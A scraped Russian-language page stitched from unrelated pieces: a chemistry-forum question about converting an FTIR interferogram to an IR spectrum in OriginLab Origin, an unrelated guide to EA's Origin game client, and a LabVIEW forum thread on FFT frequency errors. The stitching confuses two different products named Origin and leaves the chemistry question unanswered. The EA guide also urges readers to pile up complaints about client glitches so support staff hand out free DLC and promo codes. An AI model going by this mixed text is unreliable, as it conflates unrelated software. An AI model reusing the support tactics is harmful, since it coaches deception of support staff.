Форум химиков
Как преобразовать интерферограму в ИК-спектр с Origin 8.5.1?
обсуждение вопросов физической химии и химической физики
physical chemistry and chemical physics: discussions for professionals
10 сообщений • Страница 1 из 1
Phenolphtalein Сообщения: 4 Зарегистрирован: Сб мар 17, 2012 1:31 am
Как преобразовать интерферограму в ИК-спектр с Origin 8.5.1?
Сообщение Phenolphtalein » Сб мар 17, 2012 1:41 am
Вопрос очень простой, имеется обычная интерферограмма с FTIR спектрометра, мне нужно перевести ее в ИК спектр с помощью Origin 8.5.1, но не могу понять как это сделать.
Поможете?
duke2003 Сообщения: 237 Зарегистрирован: Вс апр 30, 2006 6:03 pm
Re: Как преобразовать интерферограму в ИК-спектр с Origin 8.
Сообщение duke2003 » Сб мар 17, 2012 10:31 pm
Попробуйте сохранить (экспортировать) спектр программой в которой вы его обычно открываете в текстовой формат (на пример, *.csv), грубо говоря, 2 столбца данных. Полученный фаил вы сможете импортровать в Ориджин. Проверте, чтобы обе программы правильно определяли смысл точки и/или запятой в записи дробных чисел.
ЗЫ. Используя софт от OMNIC такого рода операции проходят без проблем.
MONSTA Сообщения: 2061 Зарегистрирован: Вт фев 20, 2007 11:36 am
Re: Как преобразовать интерферограму в ИК-спектр с Origin 8.
Сообщение MONSTA » Пн мар 19, 2012 12:16 pm
Эти FTIR спектрометры иногда спектры выдают не в виде двух колонок данных, а в виде одной Просто частота при съемке меняется с заданным шагом, вот они в начале пишут интервал частот и шаг приращения, а потом — только колонка оптической плотности. В Ёкселе такие данные легко разгоняются в стандартные два столбца, но там графика кошмарная. Столбцы данных Ёкселя можно скопипастить почти куда угодно, хоть в Ориджин, чтобы нормальный график построить. Проблем с таким копированием обычно нет, а если возникнут, то надо выбирать данные только по одному столбику. А еще лучше не весь столбик, щелкая по буковке, его обозначающей, а конкретно выделять именно ячейки с данными.
Origin: работа в РФ/СНГ, общие вопросы
![]()
![]()
+чтобы сменить почту привязанную к Origin, необходимо зайти на сайт https://www.ea.com/profile . В самом клиенте этого не сделать.
+ Промо-коды действуют месяц с момента выдачи и не распространяются на предзаказы. Действуют на весь заказ.
+ Второй раз применить код нельзя, даже если оплата текущей покупки (где применялся первый код) по каким либо причинам сорвалась. Так что аккуратнее с ними.
+ Применить еще один код для другого заказа можно только через некоторое время. Если сразу же оформить второй заказ и применить к нему другой промо-код — скидки не будет, хотя и сам код не используется. Выход есть: первый заказ делаем в Оригин, второй на сайте, или наоборот.
+ Ассортимент товаров и цен на сайте и в клиенте различны. Если собираетесь делать заказы, сравнивайте цены там и там, чтобы не переплачивать.
+ Частенько под видом обычных изданий продаются лимитированные, что есть плюс. Например, Dragon Age II включает контент из расширенного издания, C&C4 — саундтрек и дополнительную миссию из подарочного. Советую перед покупкой читать описание, чтобы знать, какие бонусы положены за покупку.
+ При добавлении игры в корзину (на сайте), можно просмотреть доступные языковые пакеты. В самой же корзине отобразится полный спектр доступных языков в выбранной версии.
+ Иконка с Live Chat выскакивает только при указании более-менее новой игры.
Памятка о техподдержке Origin и Electronic Arts (рекомендуется прочесть перед обращением)
Начну с того, что русское подразделение технической поддержки ЕА работает плохо. Совсем плохо. Будьте готовы, что ответ на элементарный вопрос «сколько активаций в игре NFS Hot Pursuit?» вам придется ждать неделю или вообще запрос со временем закроют, так на него и не ответив. Это касается, конечно же, обращений, оставленных посредством связи через электронную почту (других вариантов отечественная поддержка не представляет).
Но это не значит, что квалифицированной помощи ждать неоткуда. Посетите англоязычный сайт технической поддержки ЕА и войдите в систему под своей учетной записью Origin. Затем выберите опцию Talk to a game advisor. Если вы хотите связаться с поддержкой по уже существующему запросу, выбираете «Yes», если хотите создать новый, нажмите «No» (стоит по умолчанию). В следующей графе укажите название игрового тайтла или непосредственно игры, тип запроса (регистрация, игровой процесс, техподдержка и т.д.) и, наконец, платформу. Зачем нужны все эти формальности — непонятно, ибо то, что вы укажете в этой мини-анкете не играет вообще никакой роли: сотрудник технической поддержки не откажет вам в помощи с решением проблемы с игрой серии C&C, даже если вы перед этим указывали Dragon Age.
Собственно, после заполнения строк в «паспорте» запроса, у вас появится выбор: связаться с поддержкой по телефону, отправить запрос по электронной почте (такой же, как и на русском сайте, но здесь шансы получить ответ выше в разы) или решить возникшие проблемы в режиме онлайн-конференции (live-chat). Последний вариант наиболее эффективен, если у вас недостаточно знаний английского языка для разговора по телефону. Рекомендую заранее написать текст обращения, а затем, используя самый обычный онлайн-переводчик переведите ваше послание на английский язык. Держите этот переводчик под рукой, чтобы во время беседы в онлайн-чате оперативно переводить ответы сотрудника поддержки и ваши ответные запросы. В данном случае возможна только одна трудность: live-chat доступен не всегда. Иногда ждать начала соединения приходится и по 10 минут, и по полчаса. Если кнопка входа в live-chat неактивна, вам следует обновить страницу и снова ввести данные «паспорта» запроса. Если она опять неактивна, просто попробуйте написать снова чуть позже.
Обратите внимание, что функция live-chat доступна не для всех игровых тайтлов, а некоторые игры и вообще отсутствуют в списке. В этом случае я бы рекомендовал в графе «игра» вписывать Origin — там сама возможность обращения через live-chat будет доступна всегда.
Каков бы смысл вашего заброса ни был, будьте готовы к тому, что сотрудник техподдержки в live-chat попросит указать ваш адрес электронной почты, Origin-ID, дату рождения, физический (billing) адрес (чаще всего это связано с вопросами возврата денег и прочими финансовыми операциями). Если ваш запрос связан с заказами в Origin, держите под рукой номер вашего заказа.
Обращаясь в live-chat техподдержки, запомните главное: отвечать вам будут тоже люди. У этих людей могут быть разные должности, разные полномочия, разные жизненные принципы, разная осведомленность в игровых вопросах в конце концов. Будьте готовы к тому, что один сотрудник поддержки не сможет вам помочь только из-за отсутствия у него прав на это (например, не может выдать вам код на DLC и т.д.), в то время как другой сделает это, задав только минимум вопросов. Даже самые сложные и нестандартные вопросы техподдержка может решить, не с первого, так с пятого или десятого раза.
Часто техподдержка выдает пользователям промо-код на скидку при покупке в магазине Origin. Обычно они выдаются тем, чью проблему не удается решить или удается лишить лишь частично. Можно прямо написать «если решение моей проблемы невозможно, выдаете мне промо-код на скидку» или просто упомяните о компенсации. Самый элементарный способ получить этот код: спросите у техподдержки, как получить DLC для игры Burnout Paradise. Когда выяснится, что магазин Burnout Store закрыт (а он действительно не работает) и DLC получить невозможно в принципе — содрудник поддержки начнет извиняться и скорее всего сам предложит промо-код.
Также техподдержка ЕА может выдать вам ключи на всяческие промо-DLC, добавить их на аккаунт, проапгрейдить ваше обычное издание до расширенного. За какие заслуги? Да просто так. Особенно удобно такими привилегиями пользоваться тем, кто покупает товары через Origin. Просто напишите примерно следующее: «Я купил игру в Origin и хотел бы получить для неё дополнительный контент». Срабатывает эта просьба не всегда, но так часто, что это скорее правило, чем исключение. Конечно, чем больше вы напишите причин, почему вам должны выдать эти DLC, тем больше шансов на то, что вы их действительно получите. Здесь можно и без фантазии обойтись — глючит Origin очень часто, рано или поздно повод для негодования да найдется.
Если украли аккаунт, следует обратиться в российскую техподдержку ЕА. Текущий номер: +7 495 660 53 17
Игры, для которых в Origin доступен русский язык
B attlefield 2142 Deluxe
Battlefield 3 — Расширенное издание
Battlefield: Bad Company 2 Digital Deluxe Edition
Bulletstorm Limited Edition ( субтитры )
Burnout Paradise: Полное издание
C ommand & Conquer 3 Tiberium Wars
Command & Conquer 3 Ярость Кейна
Command & Conquer 4: Эпилог
Command & Conquer: Red Alert 3
Command & Conquer: Red Alert 3 — Uprising
Crysis — Коллекционное издание
Crysis 2 Limited Edition
Crysis Warhead
D ead Space
Dead Space 2 ( субтитры )
Dead Space 2 — Расширенное издание ( субтитры )
Dragon Age II ( субтитры )
Dragon Age: Начало
Dragon Age: Начало — Digital Deluxe Edition
Dragon Age: Начало — Пробуждение
F IFA 11
FIFA 12
FIFA 13
G odfather 2
L ord of the Rings — Conquest
M ass Effect 2 ( субтитры )
Mass Effect 2 Digital Deluxe Edition ( субтитры )
Mass Effect 3 ( субтитры )
Mass Effect 3 Digital Deluxe Edition ( субтитры )
Medal of Honor ( субтитры )
Medal of Honor Digital Deluxe Edition ( субтитры )
Mercenaries 2 World in Flames ( субтитры )
Mirror’s Edge
N eed for Speed Hot Pursuit Limited Edition
Need for Speed Most Wanted Limited Edition
Need for Speed ProStreet
Need for Speed The Run Limited Edition
Need for Speed Undercover
NHL 09
S aboteur, The ( субтитры )
Shift 2 Limited Edition ( субтитры )
SimCity: Город с характером ( субтитры )
Syndicate ( субтитры )
Важно! Указание даты рождения в профиле
Важнейшей информацией для тех. поддержки Origin (при восстановления аккаунта или других действиях) является дата рождения, которую вы вводите при регистрации.
Многие могут не придать особого значения этим данным и забыть, какую дату вводили. Также для игроков которые регистрировались в системе ЕА до создания Origin вообще не было такого пункта.
И так, если вам нужно заново установить дату рождения для аккаунта, можно воспользоваться таким способом:
1. Заходим на сайт игры Star Wars The Old republic http://www.swtor.com и жмем справа вверху «Sign Up».
2. Вводим e-mail на который зарегистрирован аккаунт Origin.
3. Заполняем поля с данными о себе и запоминаем какую дату рождения указываем (чтоб не было путаницы лучше указать реальную )!
4. В результате заполнения полей данных и установки галочек согласия с их лицензионными условиями и т.п. получаем на почту письмо со ссылочкой на смену пароля аккаунта. Жмем ссылку.
Новый пароль должен содержать: не менее 8 символов, минимум одну заглавную букву, одну маленькую и одну цифру (пример автора: и все равно пароль типа Asdfgh1 принимать не захотело, но приняло пароль типа AsDFgh111) .
Также вы можете выбрать проверочные вопросы/ответы для дополнительного подтверждения своей личности. Касаются ли они аккаунта Origin или только игры Star Wars TOR я не в курсе)
- Вот и всё, данные о вашей дате рождения для аккаунта Origin обновлены. Не забывайте при запуске Origin ввести новый пароль
ThX to BloodyElf
Решение проблемы при загрузке обновления/скачки игры через клиент Origin
Q : Проблема при загрузке обновления/скачки игры через клиент Origin. Каждые несколько процентов обновление/скачка игры останавливается, помогает только перезапуск клиента. Далее, аналогично. Как исправить?
A :Инструкция по решению проблемы:
1) Закрываем клиент Origin.
2) Создаем файл EACore с расширением .ini (создать файл можно через блокнот, как показано на видео).
3) В самом файле прописываем следующие строки:
- [ connection ]
- EnvironmentName = production
- [ Feature ]
- CdnOverride = akamai
4) Сохраняем файл с расширением .ini. Файл должен иметь название EACore.ini
5) Запускаем Origin, клиент запросит использоваться созданный нами файл, соглашаемся. Проходим авторизацию и продолжаем качать/обновлять игры без каких-либо проблем.
Наглядный пример, видео: https://www.youtube. h?v=4VmCWlZ_X88
- Чтобы отвечать, сперва войдите на форум
Как сохранить спектр в png в ориджине

dakishi assistant
Сообщения: 120 Зарегистрирован: 05 сен 2019, 21:01 Версия LabVIEW: 2019 Контактная информация:
При снятии спектра с синусоиды — несущая частота не та
Сообщение dakishi » 05 дек 2019, 21:59
Добрый вечер!
Можете подсказать в чём здесь дело ? Я создаю сигнал (синусоиду с частотой 0.01 Hz — несущей частотой, например — см. рисунок), разлагаю в Фурье спектр при помощи FFT Power Spectrum and PSD и основная мощность в спектре, в итоге, приходится на 10 Hz (max index(ex) на рисунке) — как это возможно ? С использованием инструмента из той же палитры, выделяющего мнимую и реальную часть (второй рисунок) получается и того хуже — шум.


expert
Сообщения: 1235 Зарегистрирован: 21 фев 2011, 23:44 Награды: 2 Версия LabVIEW: 2013-2020 Благодарил (а): 23 раза Поблагодарили: 30 раз Контактная информация:
Re: При снятии спектра с синусоиды — несущая частота не та
Сообщение Kosist » 06 дек 2019, 01:08
Функция возвращает кластер из 3-х составляющих: начальную частоту f0, шаг частоты df и мощность. Поэтому найдя индекс максимальной мощности N, соответсвующую частоту Вы найдете как f = f0 + N*df. Вы так определили, что это 10 Hz?
Мы делили апельсин — много наших полегло.

dakishi assistant
Сообщения: 120 Зарегистрирован: 05 сен 2019, 21:01 Версия LabVIEW: 2019 Контактная информация:
Re: При снятии спектра с синусоиды — несущая частота не та
Сообщение dakishi » 10 дек 2019, 20:27
Kosist писал(а): Функция возвращает кластер из 3-х составляющих: начальную частоту f0, шаг частоты df и мощность. Поэтому найдя индекс максимальной мощности N, соответсвующую частоту Вы найдете как f = f0 + N*df. Вы так определили, что это 10 Hz?
Работает, но когда частота выше порога, идет неправильный расчёт. В данном случае реальная частота 3, а по FFT 4, причина, очевидно, в шуме на FFT — можете обьяснить, почему это происходит ?

zxc_pavel adviser
Сообщения: 241 Зарегистрирован: 02 июн 2016, 12:07 Версия LabVIEW: 15 Благодарил (а): 9 раз Поблагодарили: 23 раза Контактная информация:
Re: При снятии спектра с синусоиды — несущая частота не та
Сообщение zxc_pavel » 10 дек 2019, 21:08
Он вообще отрицательный у Вас, это не спектр, а действ. часть комплексного представления.
Поставьте или магнитуду или корень из суммы квадратов re и im, как на картинке

Andrey Petrzhik user
Сообщения: 81 Зарегистрирован: 17 ноя 2015, 11:57 Версия LabVIEW: 12 Благодарил (а): 4 раза Контактная информация:
Re: При снятии спектра с синусоиды — несущая частота не та
Сообщение Andrey Petrzhik » 02 фев 2022, 23:11
А подскажите пожалуйста что делать если данные для FFT — это не сигнал, т.е. условный синус с шумами, а набор точек X-Y двумя столбиками, где X — это координата, а Y — измеряемая величина? Причём шаг по X немного плавает.
Т.е. как загнать для FFT функцию с неким постоянным шагом dX из 1 колонки ASCII файла — вроде понятно, но как учесть переменный шаг? Спасибо большое за подсказку!
P.S. Хитрый пакет Origin как-то делает FFT 2-столбчатых данных, но как именно — не говорит. А я хочу прогу сделать, чтобы ASCII файлы по клику мышки открывались на просмотр, и тут же определялся период (если есть) понижения тока (дефектов).

Andrey Petrzhik user
Сообщения: 81 Зарегистрирован: 17 ноя 2015, 11:57 Версия LabVIEW: 12 Благодарил (а): 4 раза Контактная информация:
Re: При снятии спектра с синусоиды — несущая частота не та
Сообщение Andrey Petrzhik » 02 фев 2022, 23:37
Чтобы было нагляднее что же я хочу.
ASCII файлик тоже приложил (в rar, а то великоват), вдруг у кого будет время поиграться.
Вложения #2577_13_322_Ag05__NC.rar (297.15 КБ) 33 скачивания

zxc_pavel adviser
Сообщения: 241 Зарегистрирован: 02 июн 2016, 12:07 Версия LabVIEW: 15 Благодарил (а): 9 раз Поблагодарили: 23 раза Контактная информация:
Re: При снятии спектра с синусоиды — несущая частота не та
Сообщение zxc_pavel » 03 фев 2022, 10:03
Можно сплайном делать выравнивание по шагу
Вложения 0302.vi (30.88 КБ) 35 скачиваний

Andrey Petrzhik user
Сообщения: 81 Зарегистрирован: 17 ноя 2015, 11:57 Версия LabVIEW: 12 Благодарил (а): 4 раза Контактная информация:
Re: При снятии спектра с синусоиды — несущая частота не та
Сообщение Andrey Petrzhik » 03 фев 2022, 11:10
О! Спасибо большое! А можно для полного счастья в Labview 2012 сохранить?
Да, и ещё небольшой шаг. а как мне 1/f построить по оси x?
Если бы строился XY graph, я просто массив X-ов беру и 1/x делаю, а тут как?
К сожалению пока не вкурил чё там в кластере, может всё и очевидно конечно.

zxc_pavel adviser
Сообщения: 241 Зарегистрирован: 02 июн 2016, 12:07 Версия LabVIEW: 15 Благодарил (а): 9 раз Поблагодарили: 23 раза Контактная информация:
Re: При снятии спектра с синусоиды — несущая частота не та
Сообщение zxc_pavel » 03 фев 2022, 11:28
Там в кластере, который на waveform graph идет 3 элемента: x0, dx, массив игреков. Конечно, можно сделать 1/dx.
Сохранил в 12
Вложения 0302-v12.vi (22.74 КБ) 34 скачивания

Andrey Petrzhik user
Сообщения: 81 Зарегистрирован: 17 ноя 2015, 11:57 Версия LabVIEW: 12 Благодарил (а): 4 раза Контактная информация:
Re: При снятии спектра с синусоиды — несущая частота не та
Сообщение Andrey Petrzhik » 03 фев 2022, 13:29
Что-то не придумал как покрасивее сделать 1/f из f. но вроде правильно должно быть.
Картинка уже близка к нужной, но периоды немного «уплыли», см. например пик 77.30, выделенный на финальном графике, да и видны все пики менее явно чем в Origin.
Где-то слыхал, что магнитуда — это не амплитуда, но в labview не пойму что лучше выбрать (Real-Im оператор даёт тот же результат).
Буду рад мудрым советам:)
Вложения 0302-v12AMP.vi (34.25 КБ) 37 скачиваний

Andrey Petrzhik user
Сообщения: 81 Зарегистрирован: 17 ноя 2015, 11:57 Версия LabVIEW: 12 Благодарил (а): 4 раза Контактная информация:
Re: При снятии спектра с синусоиды — несущая частота не та
Сообщение Andrey Petrzhik » 03 фев 2022, 18:25
Усп, прошу прощения. пики совпадают, фон только другой + шума больше. Ну и интенсивности пиков просели.
(как-то не аккуратно выделил видать пики в LV)
Осталось чуть-чуть, фильтр какой-нить запихнуть или усреднение?
11 сообщений • Страница 1 из 1
Похожие темы
Последнее сообщение BAS « 22 ноя 2023, 23:45
Добавлено в форуме Для чайников
Ответы: 7
BAS » 22 ноя 2023, 16:09 » в форуме Для чайников
Последнее сообщение Boxa « 21 фев 2023, 16:51
Добавлено в форуме Для чайников
Ответы: 3
Boxa » 21 фев 2023, 16:34 » в форуме Для чайников
Последнее сообщение rsv « 30 мар 2023, 14:51
Добавлено в форуме Коммуникация с приборами
Ответы: 3
rsv » 29 мар 2023, 17:30 » в форуме Коммуникация с приборами
Последнее сообщение jane_wild « 25 апр 2023, 19:37
Добавлено в форуме Для чайников
Ответы: 19
jane_wild » 21 апр 2023, 16:49 » в форуме Для чайников
Последнее сообщение maxim_MA « 16 май 2023, 13:46
Добавлено в форуме Для чайников
Ответы: 23
maxim_MA » 11 май 2023, 10:58 » в форуме Для чайников
- Форум инженеров
- ↳ Русский
- ↳ Магазин
- ↳ Готовые комплексы сбора данных
- ↳ CompactRIO
- ↳ Контроллеры cRIO
- ↳ Модули cRIO
- ↳ Шасси cRIO
- ↳ Главный форум
- ↳ Новости
- ↳ Для чайников
- ↳ Общие
- ↳ Железо
- ↳ Софт
- ↳ Наука
- ↳ Коммуникация с приборами
- ↳ Обработка сигнала
- ↳ Лицевая панель
- ↳ Сохранение данных
- ↳ Работа с графикой и звуком
- ↳ Модели программирования
- ↳ Создание приложений
- ↳ Среды разработки
- ↳ Коммуникация с приложениями
- ↳ Проекты
- ↳ Actor Framework
- ↳ Пакеты программ для инженеров и их расширения
- ↳ Расширения NI LabVIEW
- ↳ LIFA
- ↳ Report Generation / Diadem
- ↳ Vision / IMAQ
- ↳ Real Time / FPGA / Embedded
- ↳ LabWindows / CVI / Measurement Studio
- ↳ PDA / Palm / Touch Panel
- ↳ Modulation
- ↳ Motion / PID
- ↳ Statechart
- ↳ GPU Analysis Toolkit
- ↳ NI Requirements Gateway
- ↳ TestStand
- ↳ Языки программирования
- ↳ Robotics
- ↳ Multisim
- ↳ Прочее
- ↳ Конкурсы
- ↳ Библиотека инженера
- ↳ Курсы и сертификация
- ↳ Объявления
- ↳ Поздравления
- ↳ Обо всём на свете
- ↳ Olympiad 2020 / Олимпиада 2020
- ↳ Вебсайт и форум
- ↳ Анонсы
- ↳ Отклики
- ↳ Предложения
- ↳ Интервью с форумчанами
- ↳ Партнёрские организации и дочерние проекты
- ↳ Developlabs
- ↳ ЭПИ МИСиС
- ↳ Проекты
- ↳ ООО «ПромТех»
- ↳ Продукция
- ↳ ООО «Прикладная кибернетика»
- ↳ ТехноАрт
- ↳ WorldSkills Russia
- ↳ Грузинский Технический Университет — სტუ — საქართველოს ტექნიკური უნივერსიტეტი
- ↳ Deutsch
- ↳ LabVIEW
- ↳ News
- ↳ Für Anfänger
- ↳ Allgemein
- ↳ Kommunikation mit Geräten
- ↳ Signalverarbeitung
- ↳ Front panel
- ↳ Datenspeicherung
- ↳ Arbeiten mit Grafik und Sound
- ↳ Programmiermuster
- ↳ Application Builder
- ↳ Entwicklungsumgebung
- ↳ Kommunikation mit Applikationen
- ↳ Projekte
- ↳ Module / Toolkits
- ↳ Vision / IMAQ
- ↳ Real Time / FPGA / Embedded
- ↳ LabWindows / CVI / Measurement Studio
- ↳ PDA / Palm / Touch Panel
- ↳ Modulation
- ↳ Motion / PID
- ↳ TestStand
- ↳ Statechart
- ↳ Report Generation / Diadem
- ↳ Sonstiges
- ↳ Wettbewerbe
- ↳ LabVIEW Bücher
- ↳ Kurse und Zertifikation
- ↳ Programmiersprachen
- ↳ Software
- ↳ Hardware
- ↳ Arbeitsmarkt
- ↳ Marktplatz
- ↳ Über alles mögliche
- ↳ Webseite und Forum
- ↳ Ankündigungen
- ↳ Rückmeldungen
- ↳ Vorschläge
- ↳ English
- ↳ LabVIEW
- ↳ News
- ↳ For beginners
- ↳ General
- ↳ Communcation with devices
- ↳ Signal processing
- ↳ Front panel
- ↳ Data storage
- ↳ Working with graphic and sound
- ↳ Design patterns
- ↳ Application builder
- ↳ Development environment
- ↳ Communication with applications
- ↳ Projects
- ↳ Moduls / Toolkits
- ↳ Vision / IMAQ
- ↳ Real Time / FPGA / Embedded
- ↳ LabWindows / CVI / Measurement Studio
- ↳ PDA / Palm / Touch Panel
- ↳ Modulation
- ↳ Motion / PID
- ↳ TestStand
- ↳ Statechart
- ↳ Report Generation / Diadem
- ↳ Miscellaneous
- ↳ Contests
- ↳ LabVIEW books
- ↳ Training and certification
- ↳ Programming languages
- ↳ Software
- ↳ Hardware
- ↳ Employment
- ↳ Market
- ↳ Offtopic
- ↳ Website and forum
- ↳ Announcements
- ↳ Feedback
- ↳ Suggestions
- ↳ Український
- ↳ LabVIEW
- ↳ Новини
- ↳ Для чайників
- ↳ Загальний
- ↳ Комунікація з пристроями
- ↳ Обробка сигналу
- ↳ Лицьова панель
- ↳ Збереження даних
- ↳ Робота з графікою і звуком
- ↳ Моделі програмування
- ↳ Створення додатків
- ↳ Середовище розробки
- ↳ Комунікація з додатками
- ↳ Проекти
- ↳ Модулі / Тулкіти
- ↳ Vision / IMAQ
- ↳ Real Time / FPGA / Embedded
- ↳ LabWindows / CVI / Measurement Studio
- ↳ PDA / Palm / Touch Panel
- ↳ Modulation
- ↳ Motion / PID
- ↳ TestStand
- ↳ Statechart
- ↳ Report Generation / Diadem
- ↳ NI Requirements Gateway
- ↳ Інше
- ↳ Конкурси
- ↳ Книги по LabVIEW
- ↳ Курси і сертифікація
- ↳ Мови програмування
- ↳ Софт
- ↳ Хард
- ↳ Біржа праці
- ↳ Оголошення
- ↳ Балачка
- ↳ Вебсайт і форум
- ↳ Анонси
- ↳ Відгуки
- ↳ Пропозиції
- ↳ Italiano
- ↳ LabVIEW
- ↳ News
- ↳ Per principianti
- ↳ Generale
- ↳ Comunicazione con dispositivi
- ↳ Gestione dei segnali
- ↳ Panello frontale
- ↳ Salvataggio dati
- ↳ Lavorare con grafica
- ↳ Modelli di programmazione
- ↳ Application Builder
- ↳ Ambiente di sviluppo
- ↳ Comunicazione con applicazioni
- ↳ Progetti
- ↳ Moduli / Toolkits
- ↳ Vision / IMAQ
- ↳ Real Time / FPGA / Embedded
- ↳ LabWindows / CVI / Measurement Studio
- ↳ PDA / Palm / Touch Panel
- ↳ Modulation
- ↳ Motion / PID
- ↳ TestStand
- ↳ Statechart
- ↳ Report Generation / Diadem
- ↳ Altro
- ↳ Concorsi
- ↳ Libri LabVIEW
- ↳ Corsi e certificazione
- ↳ Linguaggi di programmazione
- ↳ Software
- ↳ Hardware
- ↳ Mercato di lavoro
- ↳ Piazza di mercato
- ↳ Un po di tutto
- ↳ Pagina web e forum
- ↳ Annunci
- ↳ Feedback
- ↳ Proposte
- ↳ العربية
- ↳ لاب فيو
- ↳ آخر خبرية
- ↳ ساحة المبتدئين
- ↳ ساحة لاب فيو العامة
- ↳ الإتصال بالمعدات
- ↳ معالجة الإشارة
- ↳ الواجهة الأمامية / Frontpanel
- ↳ تخزين البيانات
- ↳ جرافيك
- ↳ نسوق برمجة
- ↳ إنشاء التطبيقات
- ↳ تطوير بيئة لاب فيو
- ↳ الإتصال بالتطبيقات
- ↳ مشاريعك
- ↳ وحدات برمجة / أدوات برمجة
- ↳ مرئيات / IMAQ
- ↳ تقارير لحظية / FPGA / Embedded
- ↳ لاب ويندوز /CVI/ ستوديو القياس
- ↳ المساعد الشخصي / بالم / شاشات اللمس
- ↳ تعديل الإشارة
- ↳ حركة / تضميم
- ↳ حقل التجارب
- ↳ Statechart وحدة
- ↳ تنفيذ التقارير / دياديم
- ↳ متفرقات
- ↳ مسابقات
- ↳ مكتبة لاب فيو
- ↳ التدريب و الشهادات
- ↳ لغات برمجة
- ↳ برمجيات
- ↳ هاردوير
- ↳ فرص عمل
- ↳ مبيع و شراء
- ↳ ساحة المواضيع الأخرى
- ↳ حول الموقع و المنتدى
- ↳ تبليغات إدارية
- ↳ ملاحظات
- ↳ إقتراحات
- ↳ القسم الإداري
- ↳ Қазақша
- ↳ LabVIEW
- ↳ Жаңалықтар
- ↳ Шәйнектер үшін
- ↳ Жалпы
- ↳ Саймандар
- ↳ Бағдарлама
- ↳ Ғылым
- ↳ Аспаптармен байланыстыру
- ↳ Дабылды өңдеу
- ↳ Бет панелі
- ↳ Мәліметтерді сақтау
- ↳ Графика және дыбыспен жұмыс жасау
- ↳ Бағдарлама нұсқалары
- ↳ Қосымшаларды жасау
- ↳ Жасау ортасы
- ↳ Қосымшалармен байланыстыру
- ↳ Жобалар
- ↳ עִבְרִית
- ↳ LabVIEW
- ↳ LabView חדשות לגבי
- ↳ למתחילים
- ↳ כללי
- ↳ תקשרת עם מכשירים
- ↳ עיבוד אותות
- ↳ לוח קדמי
- ↳ אחסון מידע
- ↳ עבודה עם גרפים
- ↳ עיצוב דוגמאות
- ↳ בניית תוכנה
- ↳ סביבה מפותחת
- ↳ תקשרת ותוכנות
- ↳ פרויקטים
- ↳ Toolkits
- ↳ Vision / IMAQ
- ↳ Հայերեն
- ↳ LabVIEW
- ↳ Նորություններ
- ↳ Սկսնակների համար
- ↳ Ընդհանուր
- ↳ Հաղորդակցում սարքերի միջոցով
- ↳ Ազդանշանի վերլուծություն
- ↳ Արտաքին վահանակ
- ↳ Տվյալների պահպանում
- ↳ Աշխատանք գրաֆիկայի և ձայնի միջոցով
- ↳ Ծրագրավորման մոդելներ
- ↳ Ծրագրերի ստեղծում
- ↳ Զարգացման միջավայր
- ↳ Հաղորդակցում ծրագրերի միջոցով
- ↳ Նախագծեր
- ↳ Մոդուլներ / Գործիքներ
- ↳ Vision / IMAQ
- ↳ Real Time / FPGA / Embedded
- ↳ LabWindows / CVI / Measurement Studio
- ↳ PDA / Palm / Touch Panel
- ↳ Modulation
- ↳ Motion / PID
- ↳ TestStand
- ↳ Statechart
- ↳ Report Generation / Diadem
- ↳ LEGO Mindstorms
- ↳ Multisim
- ↳ Այլ
- ↳ Մրցույթներ
- ↳ LabVIEW-ի վերաբերյալ գրքեր
- ↳ Դասընթացներ և Հավաստագրում
- ↳ Ծրագրավորման լեզուներ
- ↳ Ծրագրեր
- ↳ Սարքավորումներ
- ↳ Թափուր աշխատատեղեր
- ↳ Հայտարարություններ
- ↳ Աշխարհում ամեն ինչի մասին
- ↳ Վեբկայք և ֆորում
- ↳ Տեղեկատու
- ↳ Հետադարձ կապ
- ↳ Առաջարկներ
- ↳ Մոդերատորի բաժին
- ↳ Խմբեր
- ↳ Freelance
- ↳ Ուսանողներ
- ↳ Դասավանդողներ
- ↳ Բլոգերներ
- ↳ Polski
- ↳ LabVIEW
- ↳ Aktualności
- ↳ Dla początkujących
- ↳ Ogólne
- ↳ Komunikacja z urządzeniami
- ↳ Przetwórstwo sygnału
- ↳ Panel czołowy (Front Panel)
- ↳ Zapisywanie danych
- ↳ Praca z grafiką i dźwiękiem
- ↳ środowisko programistyczne
- ↳ połączenie z aplikacjami
- ↳ Projekty
- ↳ Moduły/narzędzia
- ↳ Vision / IMAQ
- ↳ Real Time / FPGA / Embedded
- ↳ Modulation
- ↳ Multisim
- ↳ Inne
- ↳ Konkursy
- ↳ Podręczniki po LabVIEW
- ↳ Kursy i certyfikacja
- ↳ Giełda pracy
- ↳ Ogłoszenia
- ↳ O wszystkim
- ↳ Strona internetowa i forum
- ↳ Anonsy
- ↳ Propozycje
- ↳ 中文
- ↳ LabVIEW/虚拟仪器
- ↳ 新闻
- ↳ 新手入门
- ↳ 概述
- ↳ 设备控制与数据交换
- ↳ 信号处理
- ↳ 前面板
- ↳ 数据存储
- ↳ 图象处理
- ↳ 设计模式
- ↳ 应用程序生成器
- ↳ 开发环境
- ↳ 应用程序的沟通
- ↳ 工程项目
- ↳ 模块 / 工具包
- ↳ 视觉 / IMAQ
- ↳ 实时/ FPGA / 嵌入式系统
- ↳ LabWindows / CVI / 测量工作室
- ↳ PDA / Palm / 触摸屏
- ↳ 调制
- ↳ 方案 / PID
- ↳ 测试状态
- ↳ 状态
- ↳ 报告生成 / Diadem
- ↳ 其他
- ↳ 竞赛
- ↳ LabVIEW 书籍
- ↳ 培训和认证
- ↳ 编程语言
- ↳ 软件
- ↳ 硬件
- ↳ 求职信息
- ↳ 市场信息
- ↳ 无所不能
- ↳ 站点论坛
- ↳ 公告
- ↳ 反馈
- ↳ 意见建议
- ↳ 版主交流
- ↳ Eesti
- ↳ LabVIEW
- ↳ Uudised
- ↳ Võhikutele
- ↳ Üldine
- ↳ Seadmete kommunikatsioon
- ↳ Signaalitöötlus
- ↳ Esipaneel
- ↳ Andmete salvestamine
- ↳ Graafikaga ja heliga töötamine
- ↳ Programmeerimise mudelid
- ↳ Rakenduste loomine
- ↳ Arengukeskkond
- ↳ Kommunikatsioon tarkvaraga
- ↳ Projektid
- ↳ Moodulid/toolkitid
- ↳ Vision / IMAQ
- ↳ Real Time / FPGA / Embedded
- ↳ LabWindows / CVI / Measurement Studio
- ↳ Modulation
- ↳ LEGO Mindstorms
- ↳ Multisim
- ↳ NI WSN
- ↳ LIFA
- ↳ Muu
- ↳ Konkursid
- ↳ LabVIEW raamatud
- ↳ Kursused ja sertifikaadid
- ↳ Programmeerimiskeeled
- ↳ Tarkvara
- ↳ Riistvara
- ↳ Teadus
- ↳ Tööbörs
- ↳ Kuulutused
- ↳ Õnnitlused
- ↳ Räägime kõigest
- ↳ Veebisait ja foorum
- ↳ Teated
- ↳ Tagasisede
- ↳ Pakkumised
